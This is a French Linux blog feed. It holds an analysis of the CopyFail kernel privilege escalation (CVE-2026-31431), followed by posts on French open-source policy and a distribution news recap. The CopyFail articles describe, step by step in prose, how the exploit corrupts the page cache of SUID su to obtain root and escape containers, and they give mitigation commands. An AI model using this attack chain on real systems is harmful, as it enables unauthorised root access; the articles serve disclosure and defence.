L'appel système splice() est un appel système qui permet de déplacer des données entre deux file descriptors sans repasser par l'espace utilisateur. Couplé aux AF_ALG sockets, il devient le vecteur parfait : on peut manipuler des données dans le noyau sans jamais exposer un pointeur ou une adresse en espace utilisateur.
Y a une p'tite page de manuel qui explique bien ça : https://www.man7.org/linux/man-pages/man2/splice.2.html

La chaîne d'attaque

Voici ce que fait l'exploit en pratique :
Etape 1 : Ouverture d'un socket AF_ALG avec le type AEAD.
Etape 2 : Lecture d'un binaire SUID (par exemple /usr/bin/su) dans le page cache. Ce binaire est en mémoire, sa copie disque est intouchée.
Etape 3 : Grâce au débordement des 4 octets dans algif_aead.c et à splice(), l'exploit écrit des données contrôlées dans le page cache, à un offset précis correspondant au contenu du binaire en mémoire. Il le fait par blocs de 4 octets.
Etape 4 : : Le contenu en mémoire de /usr/bin/su est maintenant modifié (remplacé par un shellcode qui lance un shell.
Etape 5 : La copie sur disque est intacte. Le noyau ne sait pas que le page cache a été altéré.
Etape 6 : Quand n'importe qui exécute su, le noyau ne relit pas le disque mais il charge la version en mémoire, la version compromise. su étant SUID root, le shell se lance en tant que root.

Petite note sur le SUID : Le SUID est un bit de permission qui permet à un utilisateur d'exécuter un programme avec les privilèges du propriétaire de ce fichier le temps de son exécution. su ayant comme propriétaire "root" le programme se lance en tant que root !
C'est le "s" du "rws" qui identifie le SUID. Voici sur ma Fedora le résultat :
Code BASH :
-rwsr-xr-x 1 root root 56K  1 avril 02:00 /usr/bin/su


La seule façon d'invalider l'exploit est de vider explicitement le page cache (sinon ça se fait au bout d'un certain temps) à travers /proc/sys/vm/drop_caches. Mais attention ça vide tout le cache et ça va dégrader les performances de la machine.


La gravité de cette faille est réelle : pourquoi 7.8 est trompeur selon moi ?

Le score CVSS de 7.8 reflète le fait qu'une exécution de code locale est nécessaire. C'est techniquement juste. Mais c'est là que la plupart des analyses s'arrêtent, et c'est là qu'elles sous-estiment massivement la menace.

Ce que "local" signifie vraiment ici : il ne s'agit pas d'un accès shell interactif, ni d'un compte utilisateur sur la machine.
Entendez par là qu'on peut l'exploiter sans se connecter avec une session utilisateur en ssh sur la machine.

Je m'explique : il s'agit de n'importe quel processus en cours d'exécution. Par exemple, apache httpd peut exploiter cette faille, un interpréteur PHP aussi, un module vérolé nodejs aussi, ou un pipline, en fait tout ce qui peut lancer un processus sur la machine.

Alors OUI, CopyFail seul n'est pas exploitable à distance. Mais CopyFail n'est jamais seul dans un environnement réel. Le scénario d'attaque possible peut être le suivant : 1 Remote Code Execution (RCE) dans n'importe quelle application + CopyFail = root complet sur la machine !!!
Donc, en combinant ce vecteur avec CopyFail, on obtient une élévation de privilège complète sans aucune interaction avec un compte utilisateur.

Donc on comprends que les hébergeurs, les machines hébergenant des conteneurs, les environnements mutualisés avec des Joomla, Drupal ou WordPress avec des plugins vérolés ou pas à jour tous sont des cibles directes.

Vu que les conteneurs sont à la mode, rappelons que le page cache est au niveau du noyau, pas du conteneur. Cette faille est donc également un vecteur de "container escape" : depuis un conteneur Docker ou même podman rootless, on peut modifier le page cache du noyau hôte et obtenir root sur la machine physique. Vous comprenez donc le problème :)


Pas d'antivirus, pas de conditions

Ce qui fait le cauchemar des sysadmins aujourd'hui, c'est que la modif étant dans le page cache, un antivirus n'y verra rien du tout. Seuls des EDR (comme je le dis toujours, ces fameux super antivirus) peuvent contrer ce genre d'attaque, car les EDR analysent les comportements des processus, des processus entre eux et de leurs interractions, en plus des fichiers ouverts, modifiés, etc.. D'ailleurs, sur des systèmes vulnérables, c'est l'EDR qui chez nous nous a sauvé les fesses, lors de mes tests, en attendant que le patch arrive chez Red Hat !
Mais les EDR ont un coût. Pour des PME ou des particuliers qui ont leur VPS ou leur homelab, on n'a pas d'EDR.

Aussi, il n'y a aucune condition de version à respecter. Les LPE (en français les Escalades de Privilèges en Local) classiques nécessitent souvent un alignement précis de version noyau ou de décalage mémoire ou d'un contexte précis. Ici, le même script Python de 732 octets fonctionne sur Ubuntu 24.04, Red Hat Enterprise Linux 9 et 10, Suse Linux Enterprise 16, ... donc l'exploit est "toujours fonctionnel"

ici, même si le code fourni est en python, c'est pour le PoC, mais vous pouvez reproduire la même chose en Rust même !


La découverte : une intuition assistée par IA

Je l'ai dit dans mon dernier article et dans ma vidéo, la découverte est fascinante.
Depuis la publication de la vidéo, j'ai pris le temps de me renseigner sur le "découvreur". Merci à Korben pour son article d'ailleurs !
La faille a été trouvée par Li Tang (ou Taang Lee), chercheur chez Théorie, une société de sécurité offensive réputée ayant notamment fini dans le top 3 du challenge AI Cyber Challenge du DARPA. Son approche est intéressante : il avait une intuition que le sous-système crypto du noyau Linux comportait des chemins d'accès non explorés susceptibles de permettre une élévation de privilège. Il a utilisé l'outil interne de Théorie, AI Xint Code, pour explorer le sous-système, non pas pour que l'IA trouve la faille à sa place, mais pour lui faire gagner du temps. Une analyse qui lui aurait pris une journée a été faite en une heure. Un bon exemple de ce que l'IA apporte vraiment à la recherche offensive : de l'accélération au service d'un expert, pas un remplacement de l'expertise !


La gestion de la divulgation : le vrai scandale

C'est là que les choses deviennent problématiques, et que j'estime que la situation est bien plus grave qu'une simple faille technique. Et vous allez comprendre pourquoi au moment de la publication "publique" de la faille, les distributions n'étaient pas prêtes.

Selon le site de CopyFail :
23 mars : Bug signalé à l'équipe sécurité du noyau Linux
24 mars : Accusé de réception
25 mars : Premiers patchs proposés et analysés
1er avril : Correctif principal intégré dans la branche de dev (RC de 7.0)
11 avril : Versions 6.18.22 et 6.19.12 corrigées
22 avril : CVE attribuée
29 avril : Divulgation publique ... et personne n'est prêt !


Personne n'est prêt : un problème de coordination

La mailing list Linux-distros est le mécanisme prévu pour permettre aux distributions (Debian, Ubuntu, Red Hat, SUSE, Oracle Linux, etc... ) de travailler ensemble sur des problèmes de sécurité de façon non publique. Il me semble qu'il y a une période "d'embargo" de 14 jours, mais plus sûr.
L'idée c'est de pouvoir backporter les correctifs sur leurs branches du noyau maintenues, les compiler, les tester, puis les déployer de façon coordonnée. Car en effet, Ubuntu, Red Hat ne suivent pas forcément les mêmes versions du noyau que les officielles.
Notez qu'en 2026, Red Hat maintient (officiellement) RHEL10, RHEL 9 et RHEL 8. Canonical maintient Ubuntu 16.04 18.04 20.04 22.04 24.04 et 26.04. Il y a probablement la même chose chez Debian et SUSE mais je connais moins leur cycle de vie exact.
Les distributions vivent plus longtemps que les périodes LTS des noyaux Linux, et ceux-ci ne montent pas en version au cours du cycle de vie de la distribution.

Ici, les distributions n'ont pas été notifiées via ce canal. Elles ont appris l'existence de la faille en même temps que nous en fait, soit le 29 avril.

Au moment de la divulgation publique, seules les versions 7.0, 6.18 et 6.19 du noyau avaient un correctif.
Les autres versions LTS du noyau (6.12, 6.6, 6.1, 5.15 et 5.10) n'en avaient pas encore.
Debian utilise par exemple le 6.12 pour trixie, le 6.1 pour bookworm et 5.10 pour bullseye qui est old old stable.
Les correctifs ont dû être développés en urgence par l'équipe noyau et les distributions en même temps que le PoC tournait déjà partout.
Le correctif lui-même a été commité de manière à ressembler à une optimisation ou un fix mineur le 11 avril (je vous mets le lien en dessous de la mailing list du kernel). C'est une pratique parfois légitime pour éviter qu'un attaquant ne l'analyse avant le déploiement, mais qui dans ce cas a aussi contribué à retarder la prise de conscience générale.


Mitigation et correctifs

Cette section de mon article, la dernière sera obsolète quand tous les systèmes seront patchés et mis à jour.
Cependant, quelques infos pour se sécuriser à court terme.

Pour Debian , si vous ne pouvez pas mettre à jour et rebooter de suite, il "suffit" de blacklister le module et de le décharger si nécessaire :
Code BASH :
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead


Pour Red Hat Enterprise Linux et dérivés, le module est "compilé en dur" dans le noyau :
Code BASH :
rmmod: ERROR: Module algif_aead is builtin.

Il faut alors modifier la ligne du boot via grubby par exemple ou dans /etc/default/grub :
Code BASH :
grubby --update-kernel=ALL --args='initcall_blacklist=algif_aead_init'

Et ensuite rebooter .. oui faut rebooter :(

Pour Ubuntu, je pense que c'est pareil que Debian, et SUSE à vérifier si c'est compilé en dur ou pas, mais vous avez les 2 solutions.

Attention : cela désactive les sockets AEAD, ce qui peut casser IPsec si vous l'utilisez !


Conclusion

Ici, je vais conclure, en disant que CopyFail est une faille élégante, profonde, et que je considère comme sous-estimée par une grande partie de la communauté. Elle n'est pas simplement une escalade de privilèges classique.
C'est la combinaison d'une mauvaise gestion mémoire héritée, d'une interface mal pensée avec l'espace utilisateur, et d'une optimisation qui a ouvert une fenêtre d'exploitation universelle. Cependant chaque étape (en 2011, 2015 et 2017) étant assez espacée temporellement et plutôt indépendante, c'était difficile de la voir venir.
Le fait qu'elle soit exploitable depuis n'importe quel processus (pas seulement depuis un shell je le rappelle) en fait un outil de choix pour tout attaquant ayant déjà un pied dans un système, qu'il s'agisse d'un serveur web compromis, d'une vulnérabilité d'une application, , ou d'un conteneur mal isolé.
La gestion chaotique de sa divulgation a laissé des millions de serveurs exposés avec un PoC public et sans correctif disponible.


Travail et sources utilisées

Cette synthèse m'a pris tout le dimanche matin, avec les informations que j'ai pu récolter dont les voici :
- Korben.info : https://korben.info/copy-fail-faille-kernel-linux-decouverte-ia.html
- Site Officiel de la faille : https://copy.fail
- Write-up officiel de Theori/Xint, la source technique de référence, avec la root cause analysis complète, la chaîne d'exploitation et la timeline de disclosure : https://xint.io/blog/copy-fail-linux-distributions
- OSS-Security mailing list, l'annonce publique originale du 29 avril avec les commits kernel exacts : https://www.openwall.com/lists/oss-security/2026/04/29/23
- La Mailing list du kernel avec les correctifs : https://lore.kernel.org/linux-cve-announce/2026042214-CVE-2026-31431-3d65@gregkh/T/#u
- La fiche CVE officielle : https://nvd.nist.gov/vuln/detail/CVE-2026-31431
- Le commit fautif de 2017 (l'optimisation in-place qui introduit la faille) : https://github.com/torvalds/linux/commit/72548b093ee3
- Blog Ubuntu : https://ubuntu.com/blog/copy-fail-vulnerability-fixes-available
- Suivi Ubuntu : https://ubuntu.com/security/CVE-2026-31431
- Suivi Debian : https://security-tracker.debian.org/tracker/CVE-2026-31431
- Suivi Red Hat : https://access.redhat.com/security/cve/cve-2026-31431
- Solution mitigation Red Hat : https://access.redhat.com/solutions/7141931
- Blog Alma Linux : https://almalinux.org/blog/2026-05-01-cve-2026-31431-copy-fail/


Cet article m'a pris beaucoup de temps, et si vous avez aimé le lire, n'hésitez pas à me faire un don vous pouvez le faire ici
En faisant toutes ces recherches, j'ai énormément appris sur le sujet, qui est encore plus passionnant !

CVE-2026-31431 : La faille Linux qui menace vos serveurs

✇Actualités - Linuxtricks.fr
Bonjour à tous, ici Adrien,

Aujourd'hui, dans cet article, faisons un peu de science-fiction (ou pas)...

imaginez une faille capable de vous donner les pleins pouvoirs sur votre système Linux. Je ne parle pas d'un exploit sudo, pis de toute façon vous n'y avez même pas accès sur ce système.
Vous êtes un simple utilisateur et vous pouvez devenir root sans même toucher au moindre fichier sur le disque. Même une distribution immuable pourrait être vulnérable.

C'est exactement ce que permet la CVE-2026-31431, une vulnérabilité critique découverte dans le noyau Linux.
Je ne vais pas faire d'analyse d'expert ici, l'idée est de vous donner mon avis d'administrateur système. Avec plus de 250 serveurs sous ma responsabilité au taf, quand on voit un tel truc passer, il faut se poser les bonnes questions et comprendre comment cela nous impacte selon notre contexte.

Cette faille est d'autant plus impressionnante qu'elle est présente depuis le noyau 4.14, c’est-à-dire qu'elle est passée sous les radars pendant neuf ans!! D'ailleurs on sait que le noyau Linux est Opensource. Mais ce n'est pas parce que le code est consultable par tous que Linux est forcément plus sécure que Windows ou MacOS. La preuve, tout le monde pouvait auditer ce code et pourtant la faille était là.
Ce qui m'a interpellé aussi, c'est la façon dont elle a été trouvée. Ce n'est pas un humain qui a trouvé l'erreur après des jours d'analyse, mais un agent IA. Après seulement une heure de traitement et à partir d'un seul prompt bien formulé, l'IA a non seulement trouvé la vulnérabilité, mais a aussi produit l'exploit pour la valider.

Quelques infos sur la faille...

Pour entrer juste un peu dans le détail, cette vulnérabilité appelée "Copy Fail" exploite un bug dans la partie cryptographique du noyau, plus précisément l'interface algif_aead. Cela permet une élévation de privilège où un utilisateur sans aucun droit va modifier en mémoire le comportement d'un programme système comme "su". Comme tout se passe en mémoire vive, dans ce qu'on appelle le Page Cache, on ne touche à rien sur le disque. De fait, les éventuels outils de sécurité comme un antivirus qui surveille l'intégrité des fichiers, ne verront absolument rien. Il faut donc des programmes capables d'analyser les interactions en mémoire pour bloquer l'exploitation.

Les mainteneurs du noyau (Greg Kroah-Hartman) ont annoncé des correctifs publiés officiellement fin avril pour les versions LTS et les noyaux récents. (fixé à partir du 6.18.22, 6.19.12 et 7.0). Je vous mets dans le descriptif de l'article.

La chronologie montre que ce n'est pas une faille 0-day car le rapport a été fait dès le mois de mars. Le fix date du 22 avril, mais depuis le 29 avril, un Proof of Concept est disponible publiquement. Cela pose un vrai problème car certains éditeurs de distributions sont lents à pousser les mises à jour, et tant que le patch n'est pas appliqué, les systèmes restent exposés.
Chez Debian par exemple, au 1er Mai, date de rédaction de cet article, c'est fixé pour la version Trixie, mais les versions stables comme Bookworm ou Bullseye sont encore vulnérables.

A propos de Red Hat Enterprise Linux et des protections

Le cas de Red Hat Enterprise Linux est particulièrement intéressant pour moi car c'est mon environnement de travail quotidien. Sur RHEL, les versions 8, 9 et 10 sont affectées et il n'y a pas encore de correctif disponible dans le noyau officiel (au 1er mai je le rappelle).
Contrairement à Debian, on ne peut pas simplement blacklister le module fautif car il est directement compilé dans le noyau. La seule solution est une mesure de contournement qui nécessite de modifier les arguments du grub et de rebooter la machine.
Code BASH :
grubby --update-kernel ALL --args='initcall_blacklist=algif_aead_init'


J'ai aussi testé le comportement de SELinux en mode "enforcing", et malheureusement, il ne protège pas de cette faille particulière ; l'exploit Python passe outre et donne l'accès root malgré tout !

Vis ma vis d'admin système au taf...

Dans mon boulot, j'administre plus de 250 serveurs, principalement sous Red Hat Enterprise Linux. Même s'il n'y a pas de correctifs sur RHEL, je dors sur mes deux oreilles grâce à notre EDR !

Lors de mes tests, l'EDR a analysé l'interaction anormale du processus Python et a immédiatement "killé" l'action. C'est lui qui me sauve les fesses en entreprise.
Donc même si les systèmes sont vulnérables niveau "kernel", ces "super-antivirus" qui sont aujourd'hui incontournables en entreprise, permettent de limiter l'exposition en attendant le correctif, que je me dépêcherai d'appliquer lors d'une campagne de mise à jour exceptionnelle !
Un EDR n'empêche pas de mettre à jour ses systèmes évidemment ! Mettre à jour ne cause pas des problèmes, ça les règle... normalement !

A propos des clones de Red Hat Enterprise Linux...

Pour les clones (car j'utilise Alma Linux pour le serveur VPS de Linuxtricks), un noyau corrigé est déjà disponible en test. Evidemment, bien que Red Hat n'ait rien proposé, vu qu'Alma Linux est basée sur CentOS Stream, et que ce n'est pas un clone 1:1 de RHEL, ils peuvent intégrer des correctifs et des améliorations "à leur sauce".

J'ai vérifié sur mon propre serveur : après la mise à jour, l'exploit échoue et le système me redemande mon mot de passe.
Toutes les infos ici : https://almalinux.org/blog/2026-05-01-cve-2026-31431-copy-fail/

Mais entre le 29 avril et le 1er mai, ça reste toujours trop lent pour fixer le souci !

Conclusion

Même s'il faut un accès sur le serveur pour exploiter la vulnérabilité, elle peut être combinée à une autre vulnérabilité qui permet d'obtenir un shell sur la machine.
Aussi, elle peut être utilisée par quelqu'un qui n'a que les droits utilisateurs sur le système.

L'IA permet d'améliorer la détection des failles, mais rien n'empêche une personne mal-intentionnée de l'utiliser pour en découvrir sans en avertir les mainteneurs du logiciel. Donc l'intelligence artificielle rebat les cartes de la sécurité informatique.

La sécurité est une course permanente : surveillez vos logs et surtout, mettez à jour !

J'espère que ce petit article vous a plu !

LA FRANCE LÂCHE MICROSOFT POUR LINUX ET L'OPENSOURCE ? : Anatomie d'une révolution numérique

✇Actualités - Linuxtricks.fr
Bonjour à tous, ici Adrien.

Vous avez été nombreux à m'envoyer des infos sur cette actu diffusée par la DINUM (Direction interministérielle du numérique) vis à vis de la Souveraineté numérique : l'État accélère la réduction de ses dépendances extra-européennes.

J'ai envie de dire, on y arrive enfin !

Vous vous souvenez de mon article sur le Danemark en juin dernier ? Souveraineté numérique : Le Danemark passe à Linux et LibreOffice
Je vous disais que leur migration vers Linux n'était pas qu'une anecdote scandinave, et que peut être d'autres états de l'UE allaient suivre le mouvement !
Eh bien, on y est. La France vient de jeter un pavé dans la mare.

L'Actu : Le séminaire de la rupture

Le mercredi 8 avril 2026 restera sans doute comme une date importante je pense. Sous l'impulsion du Premier ministre, du ministre de l'Action et des Comptes publics (David Amiel) et de la ministre déléguée chargée de l'IA et du Numérique (Anne Le Hénanff), la Direction interministérielle du numérique (DINUM) a réuni l'ANSSI, la Direction des Achats de l'État (DAE) et la Direction Générale des Entreprises (DGE).

Le message est d'une clarté brutale : l'État accélère la réduction de ses dépendances numériques extra-européennes. On les as assez critiqué il y a peu avec la reconduction de contrats avec Microsoft... Mais là, on ne parle plus de "réfléchir". La DINUM elle-même annonce sa sortie de Windows au profit de postes sous Linux (Alors je vous le dit déjà, on ne sait pas quelle distribution, ça sera peut être un truc "maison" comme Gendbuntu dans la Gendarmerie, basé sur du travail existant c'est sûr).
Et ce n'est que le début : la Caisse nationale d'Assurance Maladie (CNAM) fait migrer ses 80 000 agents vers le socle numérique interministériel : Tchap, Visio et FranceTransfert (le WeTransfer maison Opensource).
Même la plateforme des données de santé devra passer sur une solution de confiance d'ici fin 2026.

Le but ? Se "désensibiliser" des outils américains. Comme l'a dit David Amiel, on ne peut plus accepter que nos données et nos tarifs dépendent de solutions dont on ne maîtrise ni les règles, ni les évolutions.


L'Impact en France : Plus qu'un changement d'OS, un changement de modèle

C'est un séisme pour la commande publique, et voici pourquoi :
1. La fin du "Chèque en Blanc" : En sortant de Windows, l'État réalloue son budget. On arrête de payer des licences et on investit dans la filière industrielle locale. La DAE a d'ailleurs lancé une cartographie précise pour fixer des objectifs chiffrés de réduction de dépendance. Ça rigole pas !
2. L'essor des Coalitions : C'est la grande nouveauté de la méthode DINUM. On forme des coalitions ministères/opérateurs/privés pour créer des communs numériques. On s'appuie sur des standards d'interopérabilité. Si la France développe une brique logicielle pour sécuriser un logiciel libre, cette brique profite à tout le monde. C'est l'anti-monopole par excellence ! Et en plus il y a contribution au libre.
3. La crédibilité industrielle : D'ici l'automne, chaque ministère devra présenter son propre plan d'action (IA, bases de données, réseaux, etc.). En juin 2026, les premières "rencontres industrielles du numérique" scelleront une véritable alliance public-privé pour la souveraineté européenne.


Mon analyse : Pourquoi c'est important et utile

Cette annonce valide les trois piliers que je défends souvent :

1. Le Pilier de la Sécurité (L'approche ANSSI) :
On en a souvent parlé lors de mes lives, notamment quand on évoquait la politique open source de l'ANSSI. Pourquoi l'ANSSI pousse pour le logiciel libre ? Parce que la sécurité par l'obscurité, ça ne marche pas. Avec Windows, on a une boîte noire. On doit croire Microsoft sur parole quand ils disent qu'il n'y a pas de porte dérobée ou que la télémétrie est "anonymisée".
Dans le monde du libre, le code est auditable. C'est la base de la souveraineté. On ne peut pas prétendre protéger les données des Français si la couche de base du système est propriétaire, étrangère et donc soumise à des lois comme le Cloud Act.

2. Le Pilier de l'Interopérabilité (La leçon allemande)
Je vous avais parlé de ce qui se passait en Allemagne avec le format Open Document (ODF). Le vrai piège de Microsoft, ce n'est pas seulement Windows, c'est l'écosystème fermé. Si on es obligé d'utiliser Word pour lire un document de l'État, l'État nous impose finalement d'être client de Microsoft.
La souveraineté, aussi ça, cette capacité de changer de fournisseur sans perdre ses données. Si demain une distribution Linux ne convient plus, on passe à une autre. Et bien c'est pareil avec un format de documents : les procédures et les outils restent les mêmes car ils sont basés sur formats ouverts.

3. Le Pilier du Cloud : Ne pas confondre "Souverain" et "Localisé"
C’est un point sur lequel j'insiste. On nous a souvent vendu des "clouds souverains" qui n'étaient que des revendeurs de technologies américaines tournant sur le sol français. Vous savez les serveurs Microsoft en France, agréé HDS (Hébergeur de Données de Santé). C'est une illusion de souveraineté.
Le cloud interministériel est construit sur des piles logicielles libres. Si l'infrastructure est gérée par les agents, sur du code qui est maîtrisé, là on peut parler de souveraineté. L'annonce de la DINUM va dans ce sens : on ne veut plus dépendre des tarifs et des évolutions imposés par les géants du Cloud. En plus on gagne en côut de licence !


Conclusion : De la théorie à la pratique

Alors oui, je suis enthousiaste. Mais je reste vigilant. Le plus dur commence : la mise en action. Passer au logiciel libre et sous GNU/Linux, c'est un projet de transformation humaine avant d'être technique. Il va falloir former, accompagner, et ça aussi ça a un coût en gestion de projet et en ressources. Mais ça sera amorti sur le long terme.

Cette fois, le contexte est différent. Entre les tensions géopolitiques mondiales et la maturité des solutions open source en 2026, on n'a plus d'excuses. La France montre l'exemple, dans la lignée du Danemark, de l'Allemagne et j'ai hâte de voir comment les autres pays européens vont réagir.

C'est une page qui se tourne. On arrête d'être des consommateurs passifs pour devenir des acteurs de notre infrastructure.

Je vous mets comme d'hab la source officielles dans les liens du blog.
Profitez des commentaires pour donner votre avis sur le sujet, ils sont là pour ça, je suis curieux de connaitre votre avis !

CKOIKIDI 100 : Résumé du live Actus du libre mars 2026

✇Actualités - Linuxtricks.fr
Salut à toutes,

Hier on a été en live pour le 100e épisode de CKOIKIDI en ce mercredi 1er avril 2026 !
On ne va pas faire de poisson d'avril dans le live, on reste sérieux pour fêter ces 9 ans d'existence depuis le lancement de ce rendez-vous mensuel en 2017. C'est fou de voir le chemin parcouru, on a commencé sur YouTube avec 50 personnes et nous voilà aujourd'hui en force sur Twitch et YouTube pour parler de la souveraineté et du libre.
Les chiffres sont fous : 89 sur Youtube, 145 sur Twitch soit au total plus de 230 spectateurs ! Woow !

On continue les actus des distributions Linux et des Logiciels libres, mais depuis le début de l'année, on axe ces émissions sur les enjeux de souveraineté en Europe, et on continue car cela vous plait et c'est important !

Allez, voici le récap :

1. Ubuntu 26.04 LTS : La bêta est là !
On a commencé fort avec la sortie de la bêta d'Ubuntu 26.04 LTS, une version extrêmement importante. Comme c'est une version Long Term Support, elle bénéficiera d'un support classique de 5 ans, mais qui pourra monter jusqu'à 10 ou 12 ans avec un compte Ubuntu Pro (gratuit pour 5 machines perso)
C'est une version importante car elle servira de fondation à de nombreuses distributions comme Linux Mint 24 ou Zorin OS 19
Côté technique, on passe sur le noyau Linux 7.0 et l'environnement GNOME 50, avec une transition radicale : c'est du Wayland uniquement, Xorg n'est plus proposé par défaut. On note aussi l'arrivée de Mesa 26 qui devrait rendre les graphismes bien plus fluides, même sur du matériel un peu daté. J'ai testé l'installation en machine virtuelle, ça fonctionne super bien et c'est déjà très stable pour une bêta !
Attention toutefois, la variante Ubuntu Mate n'aura pas de statut LTS cette fois-ci, elle ne sera supportée que 9 mois. Pour les autres saveurs comme Kubuntu ou Xubuntu, le support LTS reste fixé à 3 ans au lieu des 5 ou 10 ans de la version principale. Je vous ferai bien sûr une vidéo de présentation complète lors de la sortie finale en avril.
C'est vraiment le moment pour vous de la tester et de remonter les bugs pour contribuer à la stabilisation du socle !
Lien : https://next.ink/brief_article/la-beta-dubuntu-26-04-lts-resolute-raccoon-est-disponible/

2. Fedora Linux 44 : Cap sur KDE Plasma
On enchaîne avec l'autre géant, Fedora Linux 44, dont la bêta est sortie le 10 mars. Cette version servira de base à tout l'écosystème immuable comme Silverblue.
La grande nouveauté qui m'excite beaucoup, c'est l'évolution massive des variantes KDE Plasma ! On y trouve le nouveau Plasma Setup qui permet de créer son utilisateur au premier redémarrage, idéal pour ceux qui reconditionnent des machines et Fedora abandonne aussi SDDM au profit de Plasma Login Manager, un gestionnaire plus moderne et mieux intégré à Wayland et Systemd.
Je ferai d'ailleurs ma vidéo de présentation de Fedora 44 sur l'édition KDE cette fois-ci, car il y a plus de choses intéressantes que sur GNOME (qui ne verra grossomodo que la version 50 déjà présentée).
On note aussi l'intégration de DNF5 dans PackageKit qui est utilisé par les outils graphiques comme Gnome Logiciel et Discover, ce qui devrait accélérer les mises à jour.
Le module noyau NTSYNC (pour Wine/Steam) ne sera désormais activé que si les paquets correspondants sont installés, pour optimiser le système
J'ai hâte de voir si l'intégration de LibreOffice en français est enfin parfaite dans cette version KDE !
Lien : https://linuxfr.org/news/venez-tester-fedora-linux-44-beta

3. Debian et l'IA : Décider de ne pas décider
J'ai vu passer un débat passionnant chez Debian concernant les contributions générées par l'intelligence artificielle. Le projet a choisi, pour l'instant, de ne pas instaurer de règle globale interdisant ou autorisant l'IA.
C'est une approche pragmatique qui laisse la responsabilité aux mainteneurs de paquets de juger la qualité du code ou de la documentation au cas par cas. L'idée est que la qualité du code doit primer sur l'outil utilisé pour le produire.
Cependant, cela soulève de grosses questions sur les licences : si une IA a été entraînée sur du code non libre, le code produit peut-il vraiment être intégré dans Debian ?
Je pense que l'IA est un excellent outil quand on a les compétences pour relire et corriger ce qu'elle sort.
Debian reste très stricte sur ses principes, mais ils ne veulent pas se fermer à un gain de temps potentiel pour les contributeurs. Cependant, on risque d'avoir des contributeurs qui balancent du code sans le comprendre, ce qui augmentera la charge de travail des relecteurs. C'est un sujet délicat car 99% des IA actuelles ont été entraînées sur tout ce qui traîne sur le net, libre ou non.
Lien : https://lwn.net/SubscriberLink/1061544/125f911834966dd0/

4. Crise de la maintenance : L'épuisement des bénévoles
C'est un sujet qui me touche beaucoup : on voit de plus en plus de mainteneurs historiques qui jettent l'éponge.
Le créateur d'Ubuntu Mate, qui gère le projet depuis 11 ans, a annoncé qu'il n'avait plus la passion ni le temps pour continuer. Il cherche désespérément des repreneurs pour porter la flamme, car il ne veut pas abandonner les utilisateurs brutalement. C'est paradoxal car on n'a jamais eu autant d'utilisateurs Linux, mais le nombre de contributeurs motivés semble s'essouffler.
On est dans une transition de génération où les bases de Linux (C, C++) intéressent moins les jeunes qui préfèrent le Rust ou d'autres outils.
Les entreprises utilisent massivement le libre pour réduire leurs coûts, comme avec Nextcloud au lieu de Sharepoint, mais elles ne redonnent presque rien en échange, ni argent ni temps.
Même chez GNOME, des fonctionnalités comme l'intégration native de Google Drive disparaissent car les bibliothèques sous-jacentes ne sont plus maintenues depuis 4 ans. C'est dommage car pour un nouvel arrivant qui vient de Windows, perdre ces intégrations simplistes peut être un frein à la migration selon moi.
On risque de se retrouver avec un écosystème où tout le monde consomme mais personne ne répare les fondations
Liens : https://discourse.ubuntu.com/t/ubuntu-mate-seeking-maintainers/79264 https://discourse.gnome.org/t/google-drive-in-gnome-50/34417/2

5. Systemd et le champ d'âge : Un drama évitable
Il y a eu une tempête dans un verre d'eau concernant l'ajout d'un champ "date de naissance" dans Systemd. C'est une fonctionnalité purement technique et optionnelle demandée pour se conformer à certaines lois en Californie, au Colorado ou au Brésil
Lennart Poettering a bien précisé que c'est juste un champ standardisé pour les applications, pas une politique de vérification d'identité. Certaines personnes ont déjà forqué Systemd par "protestation", mais je trouve ça un peu excessif pour un champ facultatif.
Les distributions comme Debian ne sont pas obligées de l'utiliser, et personne ne va vous demander votre carte d'identité au démarrage. C'est simplement un moyen pour que les systèmes d'exploitation puissent envoyer une information d'âge aux applications si nécessaire.
Mon avis, c'est qu'il ne faut pas s'enflammer : si vous ne remplissez pas le champ, rien ne change pour votre vie privée. C'est une brique technique de plus qui s'inscrit dans un cadre législatif mondial qui évolue. On prépare le terrain au cas où, libre à chacun de s'en servir ou non !
Liens : https://github.com/systemd/systemd/pull/40954 https://github.com/systemd/systemd/pull/41179 https://linux.developpez.com/actu/381438/Le-gestionnaire-systeme-Linux-systemd-ajoute-un-champ-facultatif-birthDate-pour-la-verification-de-l-age-aux-enregistrements-utilisateur-JSON-divisant-l-ecosysteme-et-conduisant-a-un-fork-de-protestation/

6. Firefox 149 et son VPN intégré
La nouvelle version de Firefox (149) introduit une nouveauté phare : un VPN gratuit limité à 50 Go par mois. Cette fonctionnalité est déployée progressivement dans quatre pays, dont la France !
Le seul prérequis, un compte Mozilla. Je trouve ça génial pour un usage en mobilité, comme dans une gare ou un aéroport sur un Wi-Fi public non sécurisé si on ne dispose pas déjà d'un VPN
Attention par contre, un VPN n'est pas une anonymisation totale ; votre trafic passe toujours par les serveurs de Mozilla ! Si vous faites des bêtises, la loi américaine s'applique et Mozilla pourra donner vos infos si la police le demande je suppose.
La nouvelle mascotte est d'ailleurs très sympa, le chat me l'a signalé, je ne l'avais même pas remarqué !
Lien : https://next.ink/brief_article/firefox-149-et-son-vpn-gratuit-a-50-go-par-mois-sont-desormais-disponibles/

7. Souveraineté : L'Allemagne montre la voie avec l'ODF
L'Allemagne vient de prendre une décision historique : le format ODF (Open Document Format) devient le standard obligatoire pour toute son administration publique d'ici 2028 ! Ils bannissent les formats propriétaires OOXML de Microsoft (Docx, Xlsx) au profit de l'ODT et de l'ODS (les formats natifs de LibreOffice).
C'est une victoire politique majeure pour la souveraineté numérique européenne, car ils ne veulent plus être prisonniers d'un fournisseur unique au niveau du format de fichier. Cela ne va pas faire d'économie immédiate comme le chat l'avait souligné. Cela va coûter cher en formation et en migration, en gestion de projet, mais c'est un investissement sur le long terme !
En tant que première économie d'Europe, l'Allemagne pourrait créer un effet d'entraînement pour les autres États membres. Les agents pourront utiliser les mêmes outils libres à la maison, ce qui peut faire un effet boule de neige.
J'aimerais tellement qu'on ait une telle directive en France avec une communication claire du gouvernement.
Lien : https://blog.documentfoundation.org/blog/2026/03/20/big-news-germany-has-just-made-odf-mandatory/

8. Le cloud interministériel n'est pas américain
En France, il y a quand même de bonnes nouvelles du côté de la DGFIP (les impôts). Leur DSI, Thomas Blanc, a annoncé qu'il accélérait sa rupture avec Microsoft pour des raisons de "survie et de confiance" face au Cloud Act américain. Ils ont développé leur propre cloud interne, Numbo, basé sur du 100% libre avec notamment les technos Linux,PostgreSQL et Tomcat.
Ils étudient même activement la migration de leurs postes de travail vers Linux, comme la gendarmerie l'a fait il y a 10 ans.
